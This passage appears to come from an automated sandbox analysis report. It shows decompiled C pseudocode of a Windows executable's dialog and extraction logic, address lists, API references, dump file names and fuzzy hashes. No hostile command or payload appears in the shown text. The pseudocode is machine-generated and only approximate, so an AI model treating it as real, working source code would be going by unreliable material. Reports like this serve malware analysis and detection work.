																	 *(_t706 - 4) =  *(_t706 - 4) | 0xffffffff;
																	_t142 = _t706 - 0x13c; // 0x6c4
																	L010FE9F4(_t142);
																}
															}
															E010F6F5B(0x112ff50, 2);
															_t545 = E010F1F0A(_t577);
															__eflags =  *((char*)(_t577 + 0x6cb4));
															_t395 = _t545 & 0xffffff00 |  *((char*)(_t577 + 0x6cb4)) == 0x00000000;
															goto L16;
														}
														_t101 = _t706 - 0x2198; // -6552
														_t547 = E010F7D1E(_t101, _t577 + 0x32c0);
														__eflags = _t547;
														if(_t547 == 0) {
															goto L61;
														}
														__eflags =  *((char*)(_t706 - 0x219c));
														if( *((char*)(_t706 - 0x219c)) == 0) {
															L59:
															 *(_t706 - 0xd) = 0;
															goto L61;
														}
														_t103 = _t706 - 0x2198; // -6552
														_t549 = E010F7D00(_t103, _t687);
														__eflags = _t549;
														if(_t549 == 0) {
															goto L61;
														}
														goto L59;
													}
													__eflags = _t697 - _t672;
													if(_t697 != _t672) {
														goto L61;
													}
													goto L55;
												}
												__eflags =  *((char*)(_t400 + 0x6154));
												if( *((char*)(_t400 + 0x6154)) == 0) {
													goto L61;
												}
												goto L53;
											}
											__eflags =  *(_t687 + 0x10f6);
											if( *(_t687 + 0x10f6) == 0) {
												goto L50;
											}
											 *(_t706 - 0xd) = 1;
											__eflags =  *(_t577 + 0x3318);
											if( *(_t577 + 0x3318) == 0) {
												goto L51;
											}
											goto L50;
										}
										__eflags = _t697 - _t389;
										_t390 = 1;
										if(_t697 != _t389) {
											goto L46;
										}
										goto L45;
									}
									_t675 =  *((intOrPtr*)(_t577 + 0x6cb4));
									 *(_t706 - 0xe) = _t675;
									 *(_t706 - 0x24) = _t675;
									__eflags = _t675;
									if(_t675 == 0) {
										goto L214;
									} else {
										_t671 = 0;
										__eflags = 0;
										goto L43;
									}
								}
								__eflags =  *(_t687 + 0xec) -  *((intOrPtr*)(_t580 + 0xa32c));
								if( *(_t687 + 0xec) <  *((intOrPtr*)(_t580 + 0xa32c))) {
									goto L29;
								}
								__eflags =  *((char*)(_t687 + 0xf1));
								if( *((char*)(_t687 + 0xf1)) != 0) {
									goto L219;
								}
								goto L29;
							}
							if(__eflags < 0) {
								L25:
								 *(_t577 + 0x32e0) = _t670;
								 *(_t577 + 0x32e4) = _t670;
								goto L26;
							}
							__eflags =  *(_t577 + 0x32e0) - _t670;
							if( *(_t577 + 0x32e0) >= _t670) {
								goto L26;
							}
							goto L25;
						}
						if(__eflags < 0) {
							L21:
							 *(_t577 + 0x32d8) = _t670;
							 *(_t577 + 0x32dc) = _t670;
							goto L22;
						}
						__eflags =  *(_t577 + 0x32d8) - _t670;
						if( *(_t577 + 0x32d8) >= _t670) {
							goto L22;
						}
						goto L21;
					}
					__eflags = _t694 - 3;
					if(_t694 != 3) {
						L10:
						__eflags = _t694 - 5;
						if(_t694 != 5) {
							goto L217;
						}
						__eflags =  *((char*)(_t577 + 0x45ac));
						if( *((char*)(_t577 + 0x45ac)) == 0) {
							goto L219;
						}
						_push( *(_t706 - 0x18));
						_push(0);
						_push(_t687 + 0x10);
						_push(_t577);
						_t566 = E0110842D(_t670);
						__eflags = _t566;
						if(_t566 != 0) {
							__eflags = 0;
							 *0x1122260( *((intOrPtr*)(_t577 + 0x6ca0)),  *((intOrPtr*)(_t577 + 0x6ca4)), 0);
							 *((intOrPtr*)( *((intOrPtr*)( *_t577 + 0x10))))();
							goto L15;
						} else {
							E010F6F5B(0x112ff50, 1);
							goto L219;
						}
					}
					__eflags =  *(_t687 + 0x10f5);
					if( *(_t687 + 0x10f5) == 0) {
						goto L217;
					} else {
						E010F7B3F(_t577, _t706,  *(_t687 + 8), _t577, _t687 + 0x10f6);
						goto L10;
					}
				}
				if( *((intOrPtr*)(_t687 + 0x5f)) == 0) {
					L4:
					_t395 = 0;
					goto L17;
				}
				_push(_t371);
				_push(0);
				_push(_t687 + 0x10);
				_push(_t577);
				if(E0110842D(0) != 0) {
					_t670 = 0;
					__eflags = 0;
					goto L6;
				} else {
					E010F6F5B(0x112ff50, 1);
					goto L4;
				}
			}

0x010f8525
0x010f852a
0x010f8534
0x010f853a
0x010f853d
0x010f8540
0x010f8542
0x010f8548
0x010f854f
0x010f8555
0x010f8581
0x010f8582
0x010f8588
0x010f858b
0x010f8624
0x010f862a
0x010f8630
0x010f8648
0x010f8648
0x010f864e
0x010f8666
0x010f8666
0x010f8669
0x010f866f
0x010f868c
0x010f8691
0x010f8695
0x010f869f
0x010f86aa
0x010f86af
0x010f86b1
0x010f86b4
0x010f86b7
0x010f86b9
0x010f86bb
0x010f86bf
0x010f86c1
0x010f86c3
0x010f86c3
0x010f86bf
0x010f86cb
0x010f86d0
0x010f86d1
0x010f86de
0x010f86df
0x010f86e7
0x010f86ee
0x010f86f1
0x010f8748
0x010f874d
0x010f874f
0x010f8751
0x010f8757
0x010f875d
0x010f8761
0x010f8761
0x010f8761
0x010f8761
0x010f86f3
0x010f86f6
0x010f86fc
0x010f86fe
0x010f8700
0x010f8704
0x010f8706
0x010f870d
0x010f8712
0x010f8713
0x010f871a
0x010f871f
0x010f8729
0x010f872b
0x010f8741
0x010f872d
0x010f872f
0x010f8736
0x010f8738
0x010f8738
0x010f872b
0x010f8704
0x010f86fe
0x010f876a
0x010f876f
0x010f8787
0x010f8792
0x010f879a
0x010f879d
0x010f879f
0x010f87a3
0x010f87a6
0x010f87a9
0x010f87ac
0x010f87c4
0x010f87c7
0x010f87cc
0x010f87d2
0x010f87d3
0x010f87d5
0x010f87de
0x010f87de
0x010f87e0
0x010f87e3
0x010f87ed
0x010f87f4
0x010f87f9
0x010f87fb
0x010f91ba
0x010f91ba
0x010f8611
0x010f8612
0x010f8617
0x010f8621
0x010f8621
0x010f8801
0x010f880f
0x010f8812
0x010f881a
0x010f8821
0x010f8824
0x010f883b
0x010f883b
0x010f883e
0x010f883e
0x010f8843
0x010f8846
0x010f884d
0x010f884e
0x010f8851
0x010f8854
0x010f885f
0x010f885f
0x010f8862
0x010f8869
0x010f8869
0x010f886f
0x010f8876
0x010f8877
0x010f8885
0x010f888a
0x010f888c
0x010f88c4
0x010f88c7
0x010f88d3
0x010f88d3
0x010f88d3
0x010f88d6
0x010f88d6
0x010f88e0
0x010f88e5
0x010f88e7
0x010f890b
0x010f890b
0x010f8912
0x00000000
0x00000000
0x010f8914
0x010f891e
0x010f8923
0x010f8925
0x010f8a04
0x00000000
0x010f8a04
0x010f892b
0x010f892e
0x010f8936
0x010f893c
0x010f893d
0x010f893d
0x010f893f
0x010f8948
0x010f894b
0x010f8957
0x010f896a
0x010f8974
0x010f8986
0x010f898b
0x010f8992
0x010f8a28
0x010f8a28
0x010f8a2c
0x010f8a32
0x010f8a37
0x010f8a3d
0x010f8a42
0x010f8a48
0x010f8a4f
0x010f8a54
0x010f8a55
0x010f8a57
0x010f8aea
0x010f8aec
0x010f8af1
0x010f8af3
0x010f8b45
0x010f8b48
0x010f8b4a
0x010f8b6e
0x010f8b71
0x010f8b71
0x010f8b78
0x010f8bb0
0x010f8bb2
0x010f916f
0x010f916f
0x010f9173
0x010f9179
0x010f917e
0x010f9182
0x010f9185
0x010f9188
0x010f918a
0x010f918a
0x010f918a
0x010f918a
0x010f9190
0x010f9190
0x010f9194
0x00000000
0x00000000
0x010f9196
0x010f9198
0x010f860f
0x010f860f
0x00000000
0x010f860f
0x010f919e
0x010f91a4
0x010f91b2
0x010f91b4
0x00000000
0x00000000
0x00000000
0x010f91b4
0x010f91a6
0x010f91a8
0x00000000
0x010f91a8
0x010f8bb8
0x010f8bb8
0x010f8bbb
0x010f8bc2
0x010f8bd4
0x010f8bd4
0x010f8bd7
0x010f8bd9
0x010f8c20
0x010f8c20
0x010f8c24
0x010f8c26
0x010f8c2e
0x010f8c2e
0x010f8c42
0x010f8c48
0x010f8c4e
0x010f8c54
0x010f8c65
0x010f8c7b
0x010f8c86
0x010f8c8f
0x010f8c92
0x010f8c99
0x010f8c9f
0x010f8ca4
0x010f8ca7
0x010f8ca9
0x010f8cac
0x010f8caf
0x010f8cb2
0x010f8cb5
0x010f8cb8
0x010f8cba
0x010f8d5d
0x010f8d5d
0x010f8d60
0x010f8d67
0x010f8d6e
0x010f8d72
0x010f8d88
0x010f8d8a
0x010f8d8a
0x010f8d8b
0x010f8d8b
0x010f8d8f
0x010f8d92
0x010f8d95
0x010f8d98
0x010f8ea4
0x010f8eab
0x010f8ead
0x010f8eb4
0x010f8ede
0x010f8ee3
0x010f8ef5
0x010f8efb
0x010f8efd
0x010f8f03
0x010f8f1d
0x010f8eb6
0x010f8eb6
0x010f8ebc
0x010f8ec2
0x010f8ec3
0x010f8ec3
0x010f8eb4
0x010f8f22
0x010f8f24
0x010f8f29
0x010f8f30
0x010f8f62
0x010f8f62
0x010f8f62
0x010f8f64
0x010f8f66
0x010f8f66
0x010f8f6d
0x010f8f77
0x010f8f7e
0x010f8f9d
0x010f8f9d
0x010f8fa1
0x010f8fa4
0x010f9005
0x010f9005
0x010f9009
0x010f900c
0x010f901f
0x010f901f
0x010f901f
0x010f9021
0x010f9021
0x010f9025
0x00000000
0x00000000
0x010f902b
0x010f902e
0x010f9032
0x010f903e
0x010f903e
0x010f9042
0x010f905d
0x010f905d
0x010f905f
0x010f9074
0x010f9074
0x010f9076
0x010f913a
0x010f913a
0x010f913d
0x010f9144
0x010f914c
0x010f9153
0x010f9158
0x010f915a
0x010f9163
0x010f9163
0x010f915a
0x010f9168
0x00000000
0x010f9168
0x010f907c
0x010f9081
0x010f9083
0x010f9086
0x010f908c
0x010f908c
0x010f908e
0x010f90a0
0x010f90a0
0x010f90a6
0x010f90ab
0x010f90ae
0x010f90b4
0x010f90c8
0x010f90cf
0x010f90e2
0x010f90e4
0x010f90ed
0x010f90f2
0x010f90f8
0x010f9107
0x010f911a
0x010f912d
0x010f912f
0x010f9132
0x010f9137
0x00000000
0x010f9137
0x010f9090
0x010f9096
0x00000000
0x00000000
0x010f9098
0x010f909e
0x00000000
0x00000000
0x00000000
0x010f909e
0x010f9088
0x010f908a
0x00000000
0x00000000
0x00000000
0x010f908a
0x010f9061
0x010f9064
0x010f906b
0x00000000
0x00000000
0x010f9071
0x00000000
0x010f9071
0x010f9044
0x010f9046
0x00000000
0x00000000
0x010f9048
0x010f904f
0x00000000
0x00000000
0x010f9055
0x010f9057
0x00000000
0x00000000
0x00000000
0x010f9057
0x010f9034
0x010f9038
0x00000000
0x00000000
0x00000000
0x010f9038
0x010f900e
0x010f9015
0x00000000
0x00000000
0x010f9017
0x010f9019
0x00000000
0x00000000
0x010f901b
0x00000000
0x010f901b
0x010f8fa6
0x010f8faa
0x00000000
0x00000000
0x010f8fac
0x010f8fae
0x00000000
0x00000000
0x010f8fb0
0x010f8fb6
0x010f8fe0
0x010f8fe0
0x010f8fea
0x010f8feb
0x010f8fed
0x010f8fed
0x010f8ff9
0x010f8ffd
0x010f9002
0x00000000
0x010f9002
0x010f8fb8
0x010f8fbe
0x010f8fc8
0x010f8fc8
0x010f8fcf
0x00000000
0x00000000
0x010f8fd1
0x010f8fdb
0x010f8fdc
0x00000000
0x010f8fdc
0x010f8fc0
0x010f8fc6
0x00000000
0x00000000
0x00000000
0x010f8fc6
0x010f8f80
0x010f8f86
0x00000000
0x00000000
0x010f8f88
0x010f8f92
0x010f8f92
0x010f8f94
0x010f8f96
0x010f8f96
0x00000000
0x010f8f94
0x010f8f8a
0x010f8f90
0x00000000
0x00000000
0x00000000
0x010f8f90
0x010f8f6f
0x00000000
0x010f8f6f
0x010f8f47
0x010f8f53
0x010f8f58
0x010f8f5a
0x00000000
0x00000000
0x010f8f5c
0x010f8f5e
0x00000000
0x010f8f5e
0x010f8d9e
0x010f8da4
0x010f8da7
0x010f8e10
0x010f8e10
0x010f8e15
0x010f8e26
0x010f8e2b
0x010f8e2e
0x010f8e30
0x010f8e7d
0x010f8e7d
0x010f8e80
0x010f8e80
0x010f8e87
0x010f8ddc
0x010f8ddc
0x010f8dde
0x010f8e9a
0x010f8e9a
0x010f8e9a
0x010f8e9c
0x010f8e9c
0x00000000
0x010f8e9c
0x010f8de4
0x010f8de4
0x010f8de6
0x00000000
0x00000000
0x010f8dee
0x00000000
0x010f8dee
0x010f8e8d
0x010f8e8f
0x00000000
0x00000000
0x010f8dd8
0x010f8dd8
0x00000000
0x010f8dd8
0x010f8e32
0x010f8e3a
0x00000000
0x00000000
0x010f8e3c
0x010f8e42
0x010f8e4e
0x010f8e4f
0x010f8e52
0x010f8e60
0x010f8e61
0x010f8e68
0x010f8e54
0x010f8e54
0x010f8e54
0x010f8e6d
0x010f8e6d
0x010f8e70
0x010f8e72
0x010f8dd5
0x010f8dd5
0x00000000
0x010f8dd5
0x010f8e78
0x00000000
0x010f8e78
0x010f8da9
0x010f8dac
0x00000000
0x00000000
0x010f8dae
0x010f8db0
0x010f8df4
0x010f8df4
0x010f8df6
0x00000000
0x00000000
0x010f8e02
0x010f8e09
0x00000000
0x010f8e09
0x010f8db2
0x010f8db5
0x00000000
0x00000000
0x010f8db7
0x010f8dba
0x00000000
0x00000000
0x010f8dc9
0x010f8dce
0x010f8dd0
0x010f8dd2
0x00000000
0x010f8dd2
0x010f8d74
0x010f8d76
0x00000000
0x00000000
0x010f8d7a
0x010f8d7b
0x010f8d7f
0x00000000
0x00000000
0x010f8d83
0x010f8d84
0x00000000
0x010f8d84
0x010f8cc0
0x010f8cc6
0x00000000
0x00000000
0x010f8ccc
0x010f8cd2
0x010f8cd8
0x010f8cda
0x010f8d5a
0x010f8d5a
0x00000000
0x010f8d5a
0x010f8cdc
0x010f8ce6
0x010f8ce6
0x010f8cf6
0x010f8cf9
0x010f8cfb
0x010f8d55
0x010f8d55
0x010f8d58
0x010f8d58
0x00000000
0x010f8d58
0x010f8cfd
0x010f8d03
0x010f8d05
0x010f8d07
0x010f8d2c
0x010f8d32
0x010f8d3e
0x010f8d49
0x010f8d52
0x00000000
0x010f8d52
0x010f8d09
0x010f8d13
0x010f8d15
0x010f8d1a
0x010f8d20
0x00000000
0x00000000
0x010f8d22
0x00000000
0x00000000
0x010f8d24
0x010f8d2a
0x00000000
0x00000000
0x00000000
0x010f8d2a
0x010f8d0b
0x010f8d11
0x00000000
0x00000000
0x00000000
0x010f8d11
0x010f8cff
0x010f8d01
0x00000000
0x00000000
0x00000000
0x010f8d01
0x010f8cde
0x010f8ce4
0x00000000
0x00000000
0x00000000
0x010f8ce4
0x010f8c28
0x010f8c28
0x010f8c28
0x010f8c28
0x00000000
0x010f8c28
0x010f8bdf
0x010f8be2
0x010f8be3
0x010f8be6
0x010f8be8
0x010f8bf3
0x010f8bf5
0x010f8c04
0x010f8c16
0x010f8c16
0x010f8bf5
0x00000000
0x010f8be6
0x010f8bc4
0x010f8bcb
0x010f8bd2
0x010f8c1d
0x00000000
0x010f8c1d
0x00000000
0x010f8bd2
0x010f8b7e
0x010f8b81
0x010f8b88
0x010f8b8f
0x010f8b94
0x010f8b96
0x00000000
0x00000000
0x010f8b98
0x010f8b9a
0x010f8b9d
0x010f8b9d
0x010f8ba3
0x010f8ba8
0x00000000
0x010f8ba8
0x010f8b4c
0x010f8b55
0x010f8b56
0x010f8b5b
0x010f8b5e
0x010f8b60
0x010f8b68
0x010f8b68
0x010f8b6a
0x00000000
0x00000000
0x00000000
0x010f8b6c
0x010f8af5
0x010f8af9
0x010f8aff
0x010f8b02
0x010f8b06
0x010f8b0e
0x010f8b0f
0x010f8b12
0x010f8b1a
0x010f8b1b
0x010f8b1e
0x010f8b20
0x010f8b26
0x010f8b2c
0x010f8b2e
0x010f8b34
0x010f8b3b
0x010f8b3e
0x010f8b3e
0x010f8b2c
0x010f8b1e
0x010f8b12
0x010f8b06
0x00000000
0x010f8af9
0x010f8a5d
0x010f8a60
0x00000000
0x00000000
0x010f8a66
0x010f8a69
0x010f8a6c
0x010f8a6e
0x00000000
0x00000000
0x010f8a74
0x010f8a77
0x00000000
0x00000000
0x010f8a7d
0x010f8a80
0x010f8a87
0x00000000
0x00000000
0x010f8a8f
0x010f8a99
0x010f8a9e
0x010f8aa0
0x010f8ad7
0x010f8ad7
0x010f8adb
0x010f8b65
0x00000000
0x010f8b65
0x010f8ae1
0x010f8ae3
0x010f8ae5
0x00000000
0x010f8ae5
0x010f8aa2
0x010f8aa6
0x00000000
0x00000000
0x010f8aa8
0x010f8ab0
0x010f8ab1
0x010f8ab8
0x010f8ad2
0x00000000
0x010f8ad2
0x010f8998
0x010f899f
0x00000000
0x00000000
0x010f89a7
0x010f89b2
0x010f89b7
0x010f89ba
0x010f89bc
0x00000000
0x00000000
0x010f89be
0x010f89c5
0x00000000
0x00000000
0x010f89c7
0x010f89ce
0x010f89d8
0x010f89d9
0x010f8a10
0x010f8a12
0x010f8a1e
0x010f8a23
0x010f8a25
0x00000000
0x010f8a25
0x010f89db
0x010f89dd
0x010f89eb
0x010f89f0
0x010f89f4
0x010f89fa
0x010f89fa
0x010f890b
0x010f88f0
0x010f88f7
0x010f88fc
0x010f8903
0x00000000
0x010f8903
0x010f8895
0x010f889b
0x010f88a0
0x010f88a2
0x00000000
0x00000000
0x010f88a4
0x010f88ab
0x010f88bd
0x010f88bf
0x00000000
0x010f88bf
0x010f88ae
0x010f88b4
0x010f88b9
0x010f88bb
0x00000000
0x00000000
0x00000000
0x010f88bb
0x010f8864
0x010f8867
0x00000000
0x00000000
0x00000000
0x010f8867
0x010f8856
0x010f885d
0x00000000
0x00000000
0x00000000
0x010f885d
0x010f8826
0x010f882d
0x00000000
0x00000000
0x010f882f
0x010f8833
0x010f8839
0x00000000
0x00000000
0x00000000
0x010f8839
0x010f87d7
0x010f87da
0x010f87dc
0x00000000
0x00000000
0x00000000
0x010f87dc
0x010f87ae
0x010f87b4
0x010f87b7
0x010f87ba
0x010f87bc
0x00000000
0x010f87c2
0x010f87c2
0x010f87c2
0x00000000
0x010f87c2
0x010f87bc
0x010f8677
0x010f867d
0x00000000
0x00000000
0x010f867f
0x010f8686
0x00000000
0x00000000
0x00000000
0x010f8686
0x010f8650
0x010f865a
0x010f865a
0x010f8660
0x00000000
0x010f8660
0x010f8652
0x010f8658
0x00000000
0x00000000
0x00000000
0x010f8658
0x010f8632
0x010f863c
0x010f863c
0x010f8642
0x00000000
0x010f8642
0x010f8634
0x010f863a
0x00000000
0x00000000
0x00000000
0x010f863a
0x010f8591
0x010f8594
0x010f85b3
0x010f85b3
0x010f85b6
0x00000000
0x00000000
0x010f85bc
0x010f85c3
0x00000000
0x00000000
0x010f85ce
0x010f85cf
0x010f85d3
0x010f85d4
0x010f85d5
0x010f85da
0x010f85dc
0x010f85f1
0x010f8605
0x010f860d
0x00000000
0x010f85de
0x010f85e5
0x00000000
0x010f85e5
0x010f85dc
0x010f8596
0x010f859d
0x00000000
0x010f85a3
0x010f85ae
0x00000000
0x010f85ae
0x010f859d
0x010f855a
0x010f8578
0x010f8578
0x00000000
0x010f8578
0x010f855c
0x010f855d
0x010f8561
0x010f8562
0x010f856a
0x010f857f
0x010f857f
0x00000000
0x010f856c
0x010f8573
0x00000000
0x010f8573

APIs

__EH_prolog.LIBCMT ref: 010F852A
_memcmp.LIBVCRUNTIME ref: 010F89B2

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog_memcmp
String ID:
API String ID: 3004599000-0
Opcode ID: 8a48e39b25f079ff3e7b1a0aa0c572ca14972f30c942b7706683c91fb32a6694
Instruction ID: 1bb38e0c48a546dc42e86ac4a115ae3c2c69288ab63ce4940d08474f0cb9eb0a
Opcode Fuzzy Hash: 8a48e39b25f079ff3e7b1a0aa0c572ca14972f30c942b7706683c91fb32a6694
Instruction Fuzzy Hash: 6F820930904146AEEF56DF64C846BEA7BE9BF15304F0880FEEBC99B942D7315649CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0110EEB3, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110EEB3() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E0110EEC0); // executed
				return _t1;
			}

0x0110eeb8
0x0110eebe

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_0001EEC0,0110E905), ref: 0110EEB8

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: bf2322dabba29d7e47452d8b3e10b082693ee9a0b91b226e7264208f87937dab
Instruction ID: 25edf54690f8f36d6baf268508e28884b313773ace3b3611490d80a286c20977
Opcode Fuzzy Hash: bf2322dabba29d7e47452d8b3e10b082693ee9a0b91b226e7264208f87937dab
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 011065B6, Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7954e441e3668a0e8947b19ecd5f572b2b72e020c8ad2f1d37007246682c3557
Instruction ID: 2f1d08acdebd5866cc0acb2fb9d1ea8469af9e9ad0aed3e39c22124345f81632
Opcode Fuzzy Hash: 7954e441e3668a0e8947b19ecd5f572b2b72e020c8ad2f1d37007246682c3557
Instruction Fuzzy Hash: 54D11DB1E043428FDB1DDF28C84479BBBE0BF95308F08056DE9449B682D7B4E965CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0110AE20, Relevance: 100.5, APIs: 48, Strings: 9, Instructions: 724
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0110AE20(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __esi;
				long _t105;
				long _t106;
				struct HWND__* _t107;
				struct HWND__* _t111;
				void* _t114;
				void* _t115;
				int _t116;
				void* _t133;
				void* _t137;
				signed int _t149;
				void* _t166;
				int _t169;
				void* _t182;
				void* _t189;
				void* _t190;
				long _t195;
				void* _t220;
				signed int _t230;
				void* _t231;
				int _t246;
				long _t247;
				long _t248;
				long _t249;
				signed int _t256;
				WCHAR* _t257;
				int _t261;
				int _t263;
				void* _t268;
				void* _t272;
				signed short _t277;
				int _t279;
				WCHAR* _t288;
				WCHAR* _t290;
				intOrPtr _t292;
				void* _t301;
				int _t302;
				struct HWND__* _t304;
				intOrPtr _t307;
				void* _t308;
				struct HWND__* _t309;
				void* _t311;
				struct HWND__* _t313;
				long _t314;
				struct HWND__* _t315;
				void* _t316;
				void* _t317;
				void* _t319;
				void* _t320;
				void* _t322;

				_t301 = __edx;
				_t287 = __ecx;
				E0110E0E4(0x1121e7e, _t320);
				E0110E1C0();
				_t277 =  *(_t320 + 0x10);
				_t307 =  *((intOrPtr*)(_t320 + 0xc));
				_t304 =  *(_t320 + 8);
				if(E010F130B(_t301, _t304, _t307, _t277,  *((intOrPtr*)(_t320 + 0x14)), L"STARTDLG", 0, 0) == 0) {
					_t308 = _t307 - 0x110;
					__eflags = _t308;
					if(__eflags == 0) {
						_push(_t304);
						E0110CBAE(_t287, _t301, __eflags, __fp0);
						_t105 =  *0x113b574;
						_t279 = 1;
						 *0x1137448 = _t304;
						 *0x1137438 = _t304;
						__eflags = _t105;
						if(_t105 != 0) {
							SendMessageW(_t304, 0x80, 1, _t105); // executed
						}
						_t106 =  *0x1145b74;
						__eflags = _t106;
						if(_t106 != 0) {
							SendDlgItemMessageW(_t304, 0x6c, 0x172, 0, _t106); // executed
						}
						_t107 = GetDlgItem(_t304, 0x68);
						 *(_t320 - 0x14) = _t107;
						SendMessageW(_t107, 0x435, 0, 0x400000);
						E01109D58(_t320 - 0x1174, 0x800);
						_t111 = GetDlgItem(_t304, 0x66);
						__eflags =  *0x1139472;
						_t309 = _t111;
						 *(_t320 - 0x18) = _t309;
						_t288 = 0x1139472;
						if( *0x1139472 == 0) {
							_t288 = _t320 - 0x1174;
						}
						SetWindowTextW(_t309, _t288);
						E0110A245(_t309); // executed
						_push(0x1137454);
						_push(0x1137450);
						_push(0x114cc88);
						_push(_t304);
						 *0x1137446 = 0; // executed
						_t114 = E0110A712(_t288, _t301, __eflags); // executed
						__eflags = _t114;
						if(_t114 == 0) {
							 *0x1137441 = _t279;
						}
						__eflags =  *0x1137454;
						if( *0x1137454 > 0) {
							_push(7);
							_push( *0x1137450);
							_push(_t304);
							E0110BD35(_t301);
						}
						__eflags =  *0x114dc90;
						if( *0x114dc90 == 0) {
							SetDlgItemTextW(_t304, 0x6b, E010FDD11(_t288, 0xbf));
							SetDlgItemTextW(_t304, _t279, E010FDD11(_t288, 0xbe));
						}
						__eflags =  *0x1137454;
						if( *0x1137454 <= 0) {
							L103:
							__eflags =  *0x1137446;
							if( *0x1137446 != 0) {
								L114:
								__eflags =  *0x113946c - 2;
								if( *0x113946c == 2) {
									EnableWindow(_t309, 0);
								}
								__eflags =  *0x1138468;
								if( *0x1138468 != 0) {
									E010F12C8(_t304, 0x67, 0);
									E010F12C8(_t304, 0x66, 0);
								}
								_t115 =  *0x113946c;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags =  *0x1137447;
									if( *0x1137447 == 0) {
										_push(0);
										_push(_t279);
										_push(0x111);
										_push(_t304);
										__eflags = _t115 - _t279;
										if(_t115 != _t279) {
											 *0x11510b8();
										} else {
											SendMessageW(); // executed
										}
									}
								}
								__eflags =  *0x1137441;
								if( *0x1137441 != 0) {
									SetDlgItemTextW(_t304, _t279, E010FDD11(_t288, 0x90));
								}
								goto L125;
							}
							__eflags =  *0x114cc7c;
							if( *0x114cc7c != 0) {
								goto L114;
							}
							__eflags =  *0x113946c;
							if( *0x113946c != 0) {
								goto L114;
							}
							__eflags = 0;
							_t311 = 0xaa;
							 *((short*)(_t320 - 0x9698)) = 0;
							do {
								__eflags = _t311 - 0xaa;
								if(_t311 != 0xaa) {
									L109:
									__eflags = _t311 - 0xab;
									if(__eflags != 0) {
										L111:
										E010FFD6E(__eflags, _t320 - 0x9698, " ", 0x2000);
										E010FFD6E(__eflags, _t320 - 0x9698, E010FDD11(_t288, _t311), 0x2000);
										goto L112;
									}
									__eflags =  *0x114dc90;
									if(__eflags != 0) {
										goto L112;
									}
									goto L111;
								}
								__eflags =  *0x114dc90;
								if( *0x114dc90 == 0) {
									goto L112;
								}
								goto L109;
								L112:
								_t311 = _t311 + 1;
								__eflags = _t311 - 0xb0;
							} while (__eflags <= 0);
							_t288 =  *0x1137458; // 0x0
							E011095B5(_t288, __eflags,  *0x112fed4,  *(_t320 - 0x14), _t320 - 0x9698, 0, 0);
							_t309 =  *(_t320 - 0x18);
							goto L114;
						} else {
							_push(0);
							_push( *0x1137450);
							_push(_t304);
							E0110BD35(_t301);
							_t133 =  *0x114cc7c;
							__eflags = _t133;
							if(_t133 != 0) {
								__eflags =  *0x113946c;
								if(__eflags == 0) {
									_t290 =  *0x1137458; // 0x0
									E011095B5(_t290, __eflags,  *0x112fed4,  *(_t320 - 0x14), _t133, 0, 0);
									L0111340E( *0x114cc7c);
									_pop(_t288);
								}
							}
							__eflags =  *0x113946c - _t279;
							if( *0x113946c == _t279) {
								L102:
								_push(_t279);
								_push( *0x1137450);
								_push(_t304); // executed
								E0110BD35(_t301); // executed
								goto L103;
							} else {
								 *0x11510bc(_t304);
								__eflags =  *0x113946c - _t279;
								if( *0x113946c == _t279) {
									goto L102;
								}
								__eflags =  *0x1139471;
								if( *0x1139471 != 0) {
									goto L102;
								}
								_push(3);
								_push( *0x1137450);
								_push(_t304);
								E0110BD35(_t301);
								__eflags =  *0x114dc88;
								if( *0x114dc88 == 0) {
									goto L102;
								}
								_t137 = DialogBoxParamW( *0x112fed4, L"LICENSEDLG", 0, E0110AC20, 0);
								__eflags = _t137;
								if(_t137 == 0) {
									L25:
									 *0x1137447 = _t279;
									L26:
									_push(_t279);
									L13:
									EndDialog(_t304, ??); // executed
									L125:
									_t116 = _t279;
									L126:
